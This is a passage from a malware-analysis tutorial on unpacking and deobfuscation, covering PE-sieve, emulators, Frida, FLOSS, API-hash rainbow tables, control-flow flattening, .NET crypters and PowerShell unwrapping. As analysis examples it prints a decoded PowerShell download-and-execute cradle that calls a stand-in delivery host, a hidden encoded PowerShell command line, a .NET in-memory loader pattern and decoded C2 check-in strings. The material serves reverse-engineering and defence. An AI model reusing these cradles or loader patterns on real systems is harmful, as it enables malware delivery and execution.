Compiler: Microsoft Visual C/C++(19.29)[LTCG/C]
Linker: Microsoft Linker(14.29)
Entropy: 6.114 (not packed)
The compiler string reappearing and entropy dropping to 6.1 is the confirmation that the dump is genuine payload rather than more packed data.
5.4 PE-sieve and Hollows Hunter from scratch
PE-sieve (by hasherezade) scans a running process's memory for anything that looks like a PE image or shellcode that does not match what should be there, and dumps every hit. It is the single most efficient tool in this chapter because it collapses "find the payload, find its bounds, dump it, fix alignment" into one command — including for payloads injected into other processes.
What it detects: replaced images (hollowing), implanted PEs in private memory, patched code inside legitimate modules (inline hooks), unbacked executable regions, and shellcode.
# download the release build into the analysis VM
# https://github.com/hasherezade/pe-sieve/releases -> pe-sieve64.exe
PS> .\pe-sieve64.exe /pid 4820PID: 4820
Scanning workingset: 68 memory regions.
[*] Scanning: C:\analysis\loader.bin
[!] Section .text is MODIFIED
[*] Scanning: C:\Windows\SYSTEM32\ntdll.dll
[*] Scanning WORKINGSET
[!] Implanted PE found at 0x02340000 (size: 0x1A000)
---
SUMMARY:
Total scanned: 68
Skipped: 0
Hooked: 1
Replaced: 0
Implanted PE: 1
Implanted shc: 0
Unreachable files: 0
Other: 0
Total suspicious: 2
Dumped modules: 2 to: .\process_4820
The dump directory then contains the recovered payload plus a JSON report:
PS> dir .\process_4820
2340000.exe <- the implanted payload, already alignment-fixed
loader.bin.dll <- the modified original image
scan_report.json
Flags worth memorising:
| Flag | Effect |
|---|---|
/pid N |
Target process ID |
/imp 3 |
Aggressive import recovery — rebuilds the IAT like Scylla does |
/dmode 3 |
Dump mode: 3 = "virtual", keeps memory alignment (most reliable for injected code) |
/shellc |
Also detect and dump non-PE shellcode regions |
/data 3 |
Dump data regions too — catches decrypted configs sitting in the heap |
/threads |
Report threads whose start address is in unbacked memory |
/quiet |
Suppress the interactive summary |
/dir <path> |
Output directory |
The combination that recovers the most from a hostile sample:
PS> .\pe-sieve64.exe /pid 4820 /imp 3 /shellc /data 3 /threads /dir C:\analysis\dumpsHollows Hunter is the same engine applied to every process on the system at once, which is exactly what you want after detonating a sample that injects somewhere you did not predict:
PS> .\hollows_hunter64.exe /imp 3 /shellc /dir C:\analysis\hh
# or watch continuously and dump the instant anything is implanted
PS> .\hollows_hunter64.exe /loop /imp 3 /dir C:\analysis\hh/loop is the killer feature for multi-stage samples: detonate, let the chain run, and every stage that materialises anywhere on the box gets captured without you having to guess the target process.
Blue team usage: PE-sieve is not only an analyst tool. Its engine is embedded in live-response tooling, and hollows_hunter /loop on a suspected host is a legitimate hunting technique — it finds injected code with no prior signature knowledge, because it reasons about structure (memory contents not matching the backing file) rather than content.
5.5 Post-dump sanity checklist
| Check | Expected on a good dump |
|---|---|
diec compiler string |
A real compiler/linker is identified |
| Entropy | Drops to roughly 5.5–6.8 |
| Import count | Tens to hundreds of named functions across several DLLs |
| Strings | URLs, registry paths, mutex names, format strings visible |
capa |
Reports real capabilities, no packing warning |
| Ghidra decompile of OEP | Recognisable CRT startup calling into main |
If entropy is still above 7.2, you have dumped another packed layer — return to Part 2 and re-triage. That is a success, not a failure.
Part 6: Automated and Emulation-Based Unpacking
Manual unpacking is the skill that always works; automation is what makes a queue of two hundred samples tractable. The right posture is to try automation first, spend ninety seconds on it, and fall back to manual the moment it stalls.
6.1 The public unpacker path
Always worth the ten seconds:
upx -d sample.exe -o sample_unpacked.exe # UPX
upx -d -f sample.exe -o out.exe # -f forces past some header edits$ upx -d sample.exe -o out.exe
upx: sample.exe: CantUnpackException: file is modified/hacked/protected; take care!!!
That exception almost always means one of three things: the UPX header magic (UPX!) was stripped, the section names were renamed, or the l_info/p_info structures were tampered with. Sometimes restoring the magic string in a hex editor is enough to make upx -d work again — a genuinely worthwhile thirty-second experiment. When it is not, the ESP trick still works, because the stub logic is unchanged.
6.2 unipacker — emulation-based automatic unpacking
unipacker runs the packed binary inside the Unicorn CPU emulator with a minimal emulated Windows environment, watches for the classic unpacking behaviour (writes into a region followed by execution of that region), and dumps at the transition — automatically, with IAT reconstruction, and without ever executing a single instruction on your real CPU. That last property makes it uniquely safe: there is no host to compromise because there is no host execution.
pip install unipacker$ unipacker sample.exe
Trying to unpack sample.exe
Emulation starting at 0x409a40
[+] Detected packer: UPX
[+] Tail jump found at 0x409b85 -> 0x401f00
[+] Dumping at OEP 0x401f00
[+] Rebuilding imports: 42 functions in 4 DLLs
[+] Unpacked file written to unpacked_sample.exeInteractive mode gives you an emulator shell for the awkward cases:
$ unipacker -i sample.exe
> b 0x401f00 # set breakpoint
> r # run
> dump # dump current state
> i # show emulator info / registers
> mem 0x02340000 256
It handles UPX, ASPack, PEtite, FSG, MEW, MPRESS and generic single-stage stubs well. It struggles with anything needing real Windows API behaviour it does not emulate, with multi-process chains, and with protectors.
6.3 Speakeasy and Qiling — programmable emulation
When you need control, use an emulation framework directly.
Speakeasy (FLARE) emulates Windows kernel and user mode with a large library of implemented APIs, and reports a behavioural trace plus memory dumps:
pip install speakeasy-emulator$ speakeasy -t sample.exe -o report.json -d dumps/
* exec: shellcode
0x409a40: 'kernel32.VirtualAlloc(0x0, 0x1a000, 0x3000, 0x40)' -> 0x2340000
0x409b12: 'kernel32.LoadLibraryA("wininet.dll")' -> 0x77e00000
0x409b40: 'kernel32.GetProcAddress(0x77e00000, "InternetOpenW")' -> 0x77e12340
0x401f00: entry point reached in unpacked region
* Memory dump: dumps/sample_0x2340000.memThat trace is itself the unpacking narrative — you can read the allocation, the import resolution, and the transfer without opening a debugger.
Qiling is a full binary emulation framework where you write Python around the execution, which makes it the right tool for scripted, repeatable unpacking of a family you have already reversed once:
from qiling import Qiling
from qiling.const import QL_VERBOSE
def dump_on_exec(ql, access, addr, size, value):
# fires when execution enters the allocated region
data = ql.mem.read(0x2340000, 0x1A000)
open('payload.bin', 'wb').write(bytes(data))
ql.stop()
ql = Qiling(['sample.exe'], 'rootfs/x86_windows', verbose=QL_VERBOSE.OFF)
ql.hook_code(dump_on_exec, begin=0x2340000, end=0x2360000)
ql.run()6.4 Frida for live instrumentation
Frida injects a JavaScript engine into a running process and lets you hook any function. For unpacking, the highest-value hook is on the memory-protection call that precedes execution — dump right there and you catch the payload fully written but not yet run.
pip install frida-tools// dump_on_protect.js — dump any region made executable
const VirtualProtect = Module.getExportByName('kernel32.dll', 'VirtualProtect');
Interceptor.attach(VirtualProtect, {
onEnter(args) {
this.addr = args[0];
this.size = args[1].toInt32();
this.newProt = args[2].toInt32();
},
onLeave(retval) {
// 0x10,0x20,0x40,0x80 = the PAGE_EXECUTE_* family
if (this.newProt & 0xF0) {
const bytes = Memory.readByteArray(this.addr, this.size);
const magic = new Uint8Array(bytes.slice(0, 2));
console.log('[+] exec region ' + this.addr + ' size 0x' + this.size.toString(16) +
(magic[0] === 0x4D && magic[1] === 0x5A ? ' <-- MZ header!' : ''));
send({addr: this.addr.toString(), size: this.size}, bytes);
}
}
});$ frida -f sample.exe -l dump_on_protect.js -o frida.log
[+] exec region 0x2340000 size 0x1a000 <-- MZ header!Frida runs the sample for real, so it belongs only in the isolated VM — but it is unmatched for samples whose stub logic is too convoluted to step through and too Windows-dependent to emulate.
6.5 Choosing an automation route
| Tool | Executes on real CPU? | Handles multi-stage | Rebuilds IAT | Best for |
|---|---|---|---|---|
upx -d and friends |
No | No | N/A | Known, unmodified packers |
| unipacker | No (Unicorn) | Weak | Yes | Classic stub packers, bulk triage |
| Speakeasy | No (emulated) | Partial | Partial | Behavioural trace plus memory dumps |
| Qiling | No (emulated) | Yes, with scripting | Manual | Repeatable family-specific unpackers |
| Frida | Yes | Yes | No | Hostile stubs, live hooking |
| PE-sieve / Hollows Hunter | Yes (post-hoc scan) | Yes | Yes (/imp 3) |
Injection, hollowing, unknown targets |
| x64dbg manual | Yes | Yes | Yes (Scylla) | Anything the above fails on |
The professional default for an unknown sample: detonate under hollows_hunter /loop, and in parallel try unipacker. Between them you resolve a large majority of commodity samples in under two minutes, leaving manual work for the ones that genuinely deserve it.
Part 7: String and API Obfuscation — Stack Strings, API Hashing, Dynamic Resolution
You have dumped the payload and it still has almost no strings and almost no imports. Nothing went wrong — the payload itself hides both, and it does so with a small, well-known set of techniques.
7.1 Stack strings
Instead of storing "kernel32.dll" in .rdata where strings would find it, the compiler is coaxed into building it one character at a time on the stack:
004021A0 C645 F0 6B mov byte ptr [ebp-0x10], 'k'
004021A4 C645 F1 65 mov byte ptr [ebp-0xF], 'e'
004021A8 C645 F2 72 mov byte ptr [ebp-0xE], 'r'
004021AC C645 F3 6E mov byte ptr [ebp-0xD], 'n'
004021B0 C645 F4 65 mov byte ptr [ebp-0xC], 'e'
004021B4 C645 F5 6C mov byte ptr [ebp-0xB], 'l'
004021B8 C645 F6 33 mov byte ptr [ebp-0xA], '3'
004021BC C645 F7 32 mov byte ptr [ebp-0x9], '2'A wider variant packs four characters per instruction:
004021A0 C745 F0 6B65726E mov dword ptr [ebp-0x10], 0x6E72656B ; "kern"
004021A7 C745 F4 656C3332 mov dword ptr [ebp-0xC], 0x32336C65 ; "el32"
004021AE C745 F8 2E646C6C mov dword ptr [ebp-0x8], 0x6C6C642E ; ".dll"Note the byte-order reversal: 0x6E72656B little-endian is 6B 65 72 6E = kern. When you see a run of mov immediates whose bytes fall in the printable ASCII range 0x20–0x7E, you are looking at a stack string, and reading it is a matter of writing the bytes out in memory order.
Two more variants appear constantly:
- Encrypted stack strings: the same construction followed by an XOR loop over the buffer. The stack bytes are non-printable until the loop runs.
- SIMD stack strings: modern compilers vectorise the construction into
movups xmm0, [rip+offset]/movups [rsp+0x20], xmm0, which moves 16 characters at once from a.rdatablob that is itself non-obvious.
7.2 FLOSS from scratch
FLOSS (FLARE Obfuscated String Solver) is the tool built specifically for this problem. It does four things: extracts normal static strings, extracts stack strings by pattern-matching the construction sequences, extracts "tight strings" built in loops, and — its signature capability — emulates every function in the binary and captures strings that get decoded at runtime, without you having to identify or reimplement the decryption routine.
That last mode is the important one. If a payload decrypts its C2 URL with a bespoke algorithm, FLOSS finds the URL by running the decryptor under emulation and reading the output buffer.
pip install flare-floss
# or the standalone release
wget https://github.com/mandiant/flare-floss/releases/latest/download/floss-linux.zipCore usage and the flags that matter:
floss payload.exe # all analysis types
floss --only static payload.exe # just static strings (fast)
floss --only stack tight decoded payload.exe # skip static, get the interesting ones
floss -n 8 payload.exe # minimum string length 8 (default 4)
floss --format sc32 shellcode.bin # treat input as 32-bit shellcode
floss --format sc64 shellcode.bin # 64-bit shellcode
floss -j payload.exe > strings.json # JSON output
floss -v payload.exe # verbose — shows which function decoded what$ floss -n 6 payload_dumped.exe
INFO: extracting static strings...
INFO: extracting stack strings...
INFO: emulating 214 functions to extract decoded strings...
FLOSS STATIC STRINGS: 118
...
FLOSS STACK STRINGS: 14
kernel32.dll
ntdll.dll
wininet.dll
advapi32.dll
SOFTWARE\Microsoft\Windows\CurrentVersion\Run
Global\{8f7a1c22-...}
FLOSS TIGHT STRINGS: 3
%s\%s.exe
/gate.php
FLOSS DECODED STRINGS: 6
0x402190: https://cdn.example-delivery.net/api/v2/checkin
0x402190: Mozilla/5.0 (Windows NT 10.0; Win64; x64)
0x4021f4: bot_id=%s&os=%s&av=%s
The 0x402190 prefix on decoded strings is the address of the decoding function — jump there in Ghidra and you have found the string decryptor without searching for it. That is often the fastest route into a payload's structure: the decryptor is called from everywhere interesting.
Limitation to internalise: FLOSS emulates functions in isolation. A decryptor whose key is derived from a value computed elsewhere (a hash of the volume serial, a value fetched from the C2) will emulate to garbage. When FLOSS returns nothing on a payload you know has hidden strings, that is a signal the key is environment-derived, and you should switch to the debugger and let the sample decrypt for itself — exactly the technique from Chapter 6's lab.
7.3 API hashing
The import-hiding equivalent of a stack string. Instead of GetProcAddress(hMod, "VirtualAlloc"), the payload stores a 4-byte hash, walks the target DLL's export table in memory, hashes each exported name, and takes the match. The string "VirtualAlloc" never exists anywhere in the binary.
The canonical shape, which you will recognise on sight in decompiled output:
DWORD hash_name(const char *s) {
DWORD h = 0;
while (*s) {
h = (h >> 13) | (h << 19); // ROR 13 on a 32-bit value
h += (BYTE)*s++;
}
return h;
}
FARPROC resolve(HMODULE mod, DWORD target_hash) {
// walk IMAGE_EXPORT_DIRECTORY of mod
for (i = 0; i < NumberOfNames; i++) {
const char *name = base + AddressOfNames[i];
if (hash_name(name) == target_hash)
return base + AddressOfFunctions[AddressOfNameOrdinals[i]];
}
return NULL;
}
// call sites become:
pVirtualAlloc = resolve(hKernel32, 0x91AFCA54);The tell in the disassembly is a ror or rol instruction inside a tight loop over a byte pointer, followed by a comparison against a constant. Any function containing ror edx, 0xD is an API hasher until proven otherwise.
Common algorithms in the wild:
| Algorithm | Shape | Seen in |
|---|---|---|
| ROR-13 additive | h = ror(h,13) + c |
Metasploit block API, countless derivatives |
| ROR-7 additive | h = ror(h,7) + c |
Various loaders |
| djb2 | h = h*33 + c, seed 5381 |
Generic, easy to spot by the 5381 constant |
| sdbm | h = c + (h<<6) + (h<<16) - h |
Occasional |
| FNV-1a | h = (h ^ c) * 16777619, seed 2166136261 |
Modern loaders; the 0x01000193 constant is distinctive |
| CRC32 | Table-driven or crc32 instruction |
Uses the standard 0xEDB88320 polynomial |
| Custom XOR-shift | Anything with a per-sample seed | Bespoke crypters |
Defeating it: build a rainbow table. You do not need to reverse the payload's resolver by hand once you have identified the algorithm — you precompute every export name of every common DLL under that algorithm and look the constants up.
#!/usr/bin/env python3
# apihash.py — resolve API hashes by brute-forcing over real export tables
import sys, pefile, glob
def ror32(v, n):
return ((v >> n) | (v << (32 - n))) & 0xFFFFFFFF
def ror13_add(name: bytes) -> int:
h = 0
for c in name:
h = ror32(h, 13)
h = (h + c) & 0xFFFFFFFF
return h
def fnv1a(name: bytes) -> int:
h = 0x811C9DC5
for c in name:
h = ((h ^ c) * 0x01000193) & 0xFFFFFFFF
return h
ALGOS = {'ror13': ror13_add, 'fnv1a': fnv1a}
table = {}
for dll in glob.glob('/mnt/win/Windows/System32/*.dll'):
try:
pe = pefile.PE(dll, fast_load=True)
pe.parse_data_directories(
directories=[pefile.DIRECTORY_ENTRY['IMAGE_DIRECTORY_ENTRY_EXPORT']])
for exp in getattr(pe, 'DIRECTORY_ENTRY_EXPORT', {}).symbols or []:
if not exp.name:
continue
for algo, fn in ALGOS.items():
table[(algo, fn(exp.name))] = f"{dll.split('/')[-1]}!{exp.name.decode()}"
except Exception:
continue
for arg in sys.argv[1:]:
h = int(arg, 16)
hits = [(a, n) for (a, v), n in table.items() if v == h]
print(f"{arg}: " + (', '.join(f'{a}:{n}' for a, n in hits) if hits else 'no match'))$ python3 apihash.py 0x91AFCA54 0x726774C 0xE553A458
0x91AFCA54: ror13:kernel32.dll!VirtualAlloc
0x726774C: ror13:kernel32.dll!LoadLibraryA
0xE553A458: ror13:kernel32.dll!VirtualProtect
For interactive work inside Ghidra, the community HashDB plugin (with the OALabs hash database behind it) does the same lookup against thousands of precomputed algorithms and auto-renames the constants in your decompilation — highlight the constant, invoke HashDB, and 0x91AFCA54 becomes VirtualAllocHash throughout the listing.
7.4 PEB walking — finding modules without imports
Before it can hash exports, the payload needs a module base, and it will not call GetModuleHandle (which would appear in the import table). It walks the Process Environment Block instead:
; x86
64 A1 30000000 mov eax, fs:[0x30] ; PEB
8B40 0C mov eax, [eax+0x0C] ; PEB->Ldr
8B40 14 mov eax, [eax+0x14] ; Ldr->InMemoryOrderModuleList
8B00 mov eax, [eax] ; next entry
8B40 10 mov eax, [eax+0x10] ; DllBase
; x64
65 48 8B 04 25 60000000 mov rax, gs:[0x60] ; PEB
48 8B 40 18 mov rax, [rax+0x18] ; PEB->Ldr
48 8B 40 20 mov rax, [rax+0x20] ; InMemoryOrderModuleListfs:[0x30] on x86 and gs:[0x60] on x64 are the two most recognisable byte sequences in all of shellcode analysis. Seeing either one at the start of a function means "this code resolves APIs manually" and tells you the next hundred instructions are an export-table walk you can skip past once you have identified it.
The traversal order is a stable convention worth memorising, because it is how position-independent code finds kernel32 without knowing anything: the InMemoryOrderModuleList entries begin with the executable itself, then ntdll.dll, then kernel32.dll — so the classic sequence dereferences the list twice and takes the third entry.
Security relevance for both sides: because PEB walking requires no imports and no strings, it is the foundation of position-independent shellcode, and consequently the reason import-table-based detection alone is weak. On the defensive side it is also an opportunity: code that reads gs:[0x60] and then walks the export directory has a very distinctive instruction fingerprint that memory-scanning YARA rules can target directly.
7.5 Ghidra annotation workflow
Once you have resolved the hashes, push the names back into your listing so the decompilation becomes readable. A Ghidra script that renames the global variables holding resolved pointers:
# rename_api_globals.py — Ghidra Python script
# Maps address -> resolved name, then renames the global at each address.
resolved = {
0x0040A100: "pVirtualAlloc",
0x0040A104: "pVirtualProtect",
0x0040A108: "pLoadLibraryA",
0x0040A10C: "pInternetOpenW",
}
for addr_int, name in resolved.items():
addr = toAddr(addr_int)
sym = getSymbolAt(addr)
if sym is not None:
sym.setName(name, ghidra.program.model.symbol.SourceType.USER_DEFINED)
else:
createLabel(addr, name, True)
print("renamed %s -> %s" % (addr, name))Run it from Window → Script Manager, and every call dword ptr [0x40A100] in the decompiler becomes (*pVirtualAlloc)(...). Applying the correct function signature as well (right-click the global → Edit Data Type → set to a function pointer with the real prototype) makes the decompiler render arguments properly, turning an opaque call into VirtualAlloc(0, 0x1a000, MEM_COMMIT, PAGE_EXECUTE_READWRITE). That single step is usually the difference between an unreadable and a readable payload.
Part 8: Code Obfuscation — Junk, Opaque Predicates, Flattening, and Virtualisation
Everything so far assumed a payload that is normal code once you extract it. Obfuscators break that assumption: the code is directly executable and there is nothing to unpack, but it is written to defeat reading.
8.1 Junk code and instruction substitution
The cheapest technique: insert instructions that have no effect on the program's semantics.
; the original single instruction:
mov eax, ebx
; after junk insertion and substitution:
push ecx
xor ecx, ecx
nop
add ecx, 0
mov eax, ebx
jmp short next ; jump over garbage bytes
db 0E8h, 0FFh, 0C3h ; garbage that misaligns linear disassembly
next:
pop ecxJunk is annoying but rarely a real obstacle: the decompiler's dataflow analysis eliminates most dead code automatically, and Ghidra's output for the above is simply eax = ebx;. The part that does hurt is the garbage bytes after an unconditional jump, which desynchronise a linear-sweep disassembler. Ghidra's recursive-descent analysis usually recovers; when it does not, select the bad bytes and use Clear Code Bytes (C) then Disassemble (D) at the correct address to force realignment.
Instruction substitution replaces operations with equivalent sequences: add eax, 5 becomes sub eax, -5; mov eax, 0 becomes xor eax, eax or and eax, 0; a constant is computed by arithmetic on two other constants so that it never appears literally in the binary. This last one matters for detection: it defeats YARA rules keyed on constants.
8.2 Opaque predicates
A conditional whose outcome is fixed but not obviously so, used to create branches that are never taken — inflating the control-flow graph with code that never runs.
; (x * (x + 1)) is always even, so bit 0 is always 0,
; so this jump is ALWAYS taken and the fake branch is dead code.
mov eax, [ebp-4]
mov ecx, eax
inc ecx
imul eax, ecx
and eax, 1
jz real_path
fake_path:
; hundreds of bytes of plausible-looking garbage
...
real_path:
; the actual logicOther standard identities: x^2 >= 0, 7y^2 - 1 != x^2 (never satisfiable over integers), (x | 1) != 0.
How to defeat them. Three options in increasing order of effort:
- Recognise and ignore. Once you have seen
imulof a value by itself followed by anand 1test, patch the conditional jump to an unconditional one in your database (Ghidra: right-click → Patch Instruction) and re-run analysis. The dead branch disappears from the decompilation. - Symbolic execution. Ask a solver whether the condition can ever be false. Triton and angr both do this; the pattern is to constrain the predicate and check satisfiability.
- Concolic simplification at scale, for a binary with thousands of predicates — worth building only if you are fighting the same obfuscator repeatedly.
A minimal angr check that a branch is unreachable:
import angr, claripy
proj = angr.Project('obf.exe', auto_load_libs=False)
state = proj.factory.blank_state(addr=0x401200)
simgr = proj.factory.simulation_manager(state)
simgr.explore(find=0x401280, avoid=0x401240) # find=real, avoid=fake
print("reachable:", len(simgr.found), "avoided:", len(simgr.avoided))If found is non-empty and every path avoids the fake branch, the predicate is opaque and the branch is dead.
8.3 Control-flow flattening
The strongest of the "still native code" techniques, and the one that makes decompiler output genuinely unreadable. The obfuscator takes a function's basic blocks, puts them all at the same level inside a switch in a loop, and adds a state variable that dictates the order. The original nesting — the if inside the while inside the for — is destroyed; every block is a peer, and the sequence exists only as data.
// original
void f(int n) {
int total = 0;
for (int i = 0; i < n; i++) {
if (i % 2) total += i;
else total -= i;
}
report(total);
}
// after flattening
void f(int n) {
int state = 0x8F3A21C4, i = 0, total = 0;
while (1) {
switch (state) {
case 0x8F3A21C4: i = 0; total = 0; state = 0x2B117E90; break;
case 0x2B117E90: state = (i < n) ? 0x91C2D004 : 0x77AA1122; break;
case 0x91C2D004: state = (i % 2) ? 0x5E01B3F7 : 0x0C4D9A16; break;
case 0x5E01B3F7: total += i; state = 0x6612FFAB; break;
case 0x0C4D9A16: total -= i; state = 0x6612FFAB; break;
case 0x6612FFAB: i++; state = 0x2B117E90; break;
case 0x77AA1122: report(total); return;
}
}
}flowchart TD
D[Dispatcher<br/>switch on state var] --> B1[Block A<br/>state := 0x2B117E90]
D --> B2[Block B<br/>state := cond ? X : Y]
D --> B3[Block C<br/>state := 0x6612FFAB]
D --> B4[Block D<br/>state := 0x6612FFAB]
D --> B5[Block E<br/>state := 0x2B117E90]
D --> B6[Block F<br/>return]
B1 --> D
B2 --> D
B3 --> D
B4 --> D
B5 --> D
B6 --> X[exit]
style D fill:#2d3748,color:#fff
Every block returns to the dispatcher, so the control-flow graph is a star with no structure. Decompilers produce a giant while(true) containing a switch with dozens of cases and no visible logic.
How to defeat it. The principled route is deflattening: recover the real successor of each block by determining, for each case, what state value it assigns, then rebuilding the CFG with direct edges and removing the dispatcher. For simple flatteners where the state assignment is a constant mov, this is a static pass; where the next state is computed (state = hash(state ^ input)), you need symbolic execution per block.
Existing tooling to reach for before writing your own:
| Tool | Approach | Notes |
|---|---|---|
| D-810 (IDA plugin) | Microcode-level optimisation passes | Very effective against OLLVM-style flattening and MBA expressions |
| gooMBA (IDA) | Simplifies mixed boolean-arithmetic | Complements deflattening |
| Miasm | Symbolic execution + IR simplification | Scriptable, good for custom flatteners |
| Triton | Dynamic symbolic execution | Per-block successor solving |
| angr | Static + symbolic | Slower on large binaries but very general |
The pragmatic route, and the one most analysts actually take under time pressure, is to stop trying to read the code and instrument it instead. Flattening does not change behaviour: set breakpoints on the interesting APIs, log the arguments, and recover the algorithm from observed input/output. A flattened string decryptor is still a string decryptor — break after it and read the plaintext.
8.4 Mixed boolean-arithmetic (MBA)
Frequently paired with flattening. A simple operation is rewritten as an algebraically equivalent monster:
x + y becomes (x ^ y) + 2*(x & y)
x ^ y becomes (x | y) - (x & y)
x & y becomes (x + y - (x | y))
These identities compose, so a single addition can become forty instructions. Recognising the two-line forms above by sight covers a surprising amount of real obfuscated code; beyond that, gooMBA or a Z3-backed simplifier is the answer.
8.5 Virtualisation-based protection
The top tier — VMProtect, Themida's VM tiers, Code Virtualizer. The protected function's x86 instructions are removed entirely and replaced with bytecode for a custom virtual machine that ships inside the binary. At runtime a dispatcher fetches a bytecode opcode, looks up a handler, and executes it. There is no x86 form of the original function anywhere, in the file or in memory, ever. Dumping gains you nothing.
flowchart LR
A[VM entry] --> B[Push context<br/>onto VM stack]
B --> C[Dispatcher:<br/>fetch next bytecode]
C --> D{Opcode}
D -->|0x01| H1[Handler: VM_ADD]
D -->|0x02| H2[Handler: VM_LOAD]
D -->|0x03| H3[Handler: VM_XOR]
D -->|0x04| H4[Handler: VM_JMP]
D -->|0xFF| E[VM exit — restore context]
H1 --> C
H2 --> C
H3 --> C
H4 --> C
Realistic approaches, in the order a working analyst tries them:
- Analyse behaviourally instead. Only selected functions are virtualised, because virtualisation is enormously slow. Most of the binary is normal. Find what is not virtualised, and treat each VM-protected function as a black box you characterise by its inputs and outputs.
- Dump the results, not the code. If the virtualised function decrypts a configuration, breakpoint after the VM exit and read the plaintext. You never need to understand the VM.
- Devirtualise. Identify the dispatcher, enumerate the handlers, map each to a semantic operation (usually by symbolically executing each handler once), then lift the bytecode into readable IR. This is a serious project — days to weeks — justified only for a high-value target or a family you will see repeatedly. Public research tooling exists (VMHunt, academic devirtualisers, VMProtect-specific projects of varying currency), but expect to adapt rather than run.
- Skip it. For an incident response deadline, "function at 0x4021A0 is VMProtect-virtualised; behaviourally it produces the C2 URL from an embedded blob" is a legitimate, professional finding.
CTF note: virtualisation obfuscation is a staple of hard reversing challenges precisely because the intended solution is to write a disassembler for the custom VM. In a CTF the VM is small (10–30 handlers) and tractable in an evening; that exercise is genuinely the best training available for the real thing.
Part 9: .NET and Script-Layer Obfuscation
A large share of commodity malware is .NET, and the tooling is completely different — and far kinder to the analyst, because .NET assemblies carry metadata that decompiles almost back to source.
9.1 Identifying .NET
$ diec sample.exe
PE32
Library: .NET(v4.0.30319)[-]
Linker: Microsoft Linker(48.0)
Structurally: a .NET / CLR directory in the optional header's data directories, a single imported function (mscoree.dll!_CorExeMain), and section names including .text holding IL rather than native code. pefile shows it directly:
import pefile
pe = pefile.PE('sample.exe')
d = pe.OPTIONAL_HEADER.DATA_DIRECTORY[14] # IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR
print("is .NET:", d.VirtualAddress != 0)9.2 dnSpyEx — decompiler and debugger in one
dnSpyEx is the maintained fork of dnSpy: a .NET assembly browser, C#/VB decompiler, and debugger that lets you set breakpoints in decompiled C# and step through it. For .NET malware it replaces Ghidra and x64dbg simultaneously.
Workflow that solves most .NET crypters in minutes:
- Open the assembly. Browse the namespace tree; obfuscated assemblies show class and method names like
a.b,Class3.method_7, or Unicode garbage. - Find the entry point (dnSpyEx marks it) and read down until you hit the decrypt-and-load pattern:
// typical .NET crypter core, as decompiled
private static void Main(string[] args)
{
byte[] array = Class2.smethod_3(Resources.data); // decrypt embedded resource
Assembly assembly = Assembly.Load(array); // load payload in-memory
assembly.EntryPoint.Invoke(null, new object[] { }); // run it
}Assembly.Load(byte[]) is the giveaway: the real payload is the decrypted byte array, and it never touches disk.
- Rather than reversing
smethod_3, set a breakpoint on theAssembly.Loadline, run under dnSpyEx's debugger, and when it hits, inspect thearraylocal in the Locals window → right-click → Save → write it to disk. That file is the unpacked payload, fully clean. - Open the saved assembly in a new dnSpyEx tab and analyse it as normal.
Command-line and debugging notes: dnSpyEx can start a process with arguments (Debug → Start), attach to a running one, and break on module load — which catches payloads loaded reflectively several layers deep. Enable Debug → Options → Break on Module Load for a chain of unknown depth, and save each new in-memory module as it appears.
9.3 de4dot — automated .NET deobfuscation
de4dot detects and reverses the transformations applied by known .NET obfuscators: it renames mangled symbols to readable placeholders, decrypts strings, removes proxy-call indirection, removes anti-tamper and anti-debug code, and restores control flow.
# .NET Framework build on Windows, or via mono on Linux
de4dot.exe sample.exe
# force a specific obfuscator when detection fails
de4dot.exe -p cr sample.exe # -p cr = ConfuserEx
de4dot.exe -p un sample.exe # unknown/generic
# supply a string decryption method token when strings stay encrypted
de4dot.exe --strtyp delegate --strtok 0x06000123 sample.exe$ de4dot.exe packed.exe
de4dot v3.1.41592.3405
Detected Unknown Obfuscator (packed.exe)
Cleaning packed.exe
Renaming all obfuscated symbols
Saving packed-cleaned.exe
Supported/target obfuscators include ConfuserEx, .NET Reactor, Dotfuscator, Eazfuscator, Babel, CryptoObfuscator, SmartAssembly and more. Detection is signature-based and ages, so -p plus manual work is normal on current samples. The --strtyp delegate --strtok combination is the important advanced flag pair: it tells de4dot which method in the assembly is the string decryptor, and de4dot will then invoke that method for every encrypted string and bake the plaintext back into the assembly. You find the token by locating the decryptor in dnSpyEx and reading its metadata token from the properties pane.
Order of operations matters: if the assembly is packed (a crypter wrapping a payload), de4dot on the outer file achieves little — dump the inner assembly first with the Assembly.Load breakpoint, then run de4dot on the dump.
9.4 Script-layer deobfuscation
The outermost layer of most chains is a script, and scripts are deobfuscated by rewriting them to print instead of execute.
A representative obfuscated PowerShell command line as captured from a parent process:
powershell -nop -w hidden -ep bypass -e SQBFAFgAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIAB...Flag decoding, which you should be able to do without reference: -nop = -NoProfile (skip profile scripts), -w hidden = -WindowStyle Hidden, -ep bypass = -ExecutionPolicy Bypass, -e = -EncodedCommand, whose argument is base64 of a UTF-16LE string. That encoding detail matters:
$ echo 'SQBFAFgAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIAB...' | base64 -d | iconv -f UTF-16LE -t UTF-8
IEX (New-Object Net.WebClient).DownloadString('http://cdn.example-delivery.net/a.ps1')Layered obfuscation stacks string reversal, format-operator reordering, character-code arrays, and compression:
# layer 2, as recovered
IEX (New-Object IO.StreamReader(New-Object IO.Compression.GzipStream(
(New-Object IO.MemoryStream(,[Convert]::FromBase64String($b64))),
[IO.Compression.CompressionMode]::Decompress))).ReadToEnd()The universal safe technique: replace the execution sink with output. IEX (Invoke-Expression) is what turns a string into running code. Change IEX to Write-Output — or in the reconstructed script, remove the final IEX — and the script prints its next layer instead of running it. Repeat until the output is plain code. This works because every layer must ultimately hand a string to an execution primitive, and there are only a handful of those:
| Language | Execution sinks to neutralise |
|---|---|
| PowerShell | IEX, Invoke-Expression, .Invoke(), Invoke-Command, & ([scriptblock]::Create(...)) |
| JScript / VBScript | eval, Function(...), execScript, Execute, ExecuteGlobal, WScript.Shell.Run |
| VBA | Shell, CreateObject("WScript.Shell").Run, Application.Run |
| Python | exec, eval, compile |
Two safety notes. First, do this only in the isolated VM: it is very easy to accidentally leave one sink live. Second, for PowerShell specifically, there is a much better source of truth than manual unwrapping — Script Block Logging (Event ID 4104) records every script block after deobfuscation, including ones generated at runtime by IEX. Enable it in the analysis VM before detonation and the event log hands you every layer in plaintext, in order, with no manual work at all:
# in the analysis VM, before detonation
New-Item -Path 'HKLM:\SOFTWARE\Policies\Microsoft\Windows\PowerShell\ScriptBlockLogging' -Force
